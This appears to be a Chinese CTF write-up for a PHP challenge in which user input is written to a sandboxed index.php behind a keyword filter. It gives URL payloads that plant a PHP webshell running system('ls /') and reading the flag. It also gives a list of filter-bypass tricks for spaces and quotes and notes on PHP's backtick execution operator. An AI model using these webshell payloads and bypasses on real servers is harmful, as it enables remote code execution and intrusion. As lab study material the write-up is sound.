目录
信息收集
payload
补充知识
信息收集
代码审计
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
payload
?action=pwd
?action=upload
&data=<?%09echo%09system("ls%09/")%09?>
?action=upload
&data=<?%09echo%09system("cat%09/flllllll1112222222lag")%09?>
补充知识
需要写入的数据:
<?php system('ls \')?>
php被过滤了改成<?=?>标签,这个<?= ?>
' 被过滤了可以用"替换
空格被过滤了用\t
空格常见的绕过如下
IFS$9 、 %09 、 < 、 > 、 <> 、 {,} 、 %20 、 ${IFS}
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/
PHP 支持一个执行运算符:反引号(``)。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符的效果与函数shell_exec() 相同。
注意:
关闭了 shell_exec() 时反引号运算符是无效的。
与其它某些语言不同,反引号不能在双引号字符串中使用。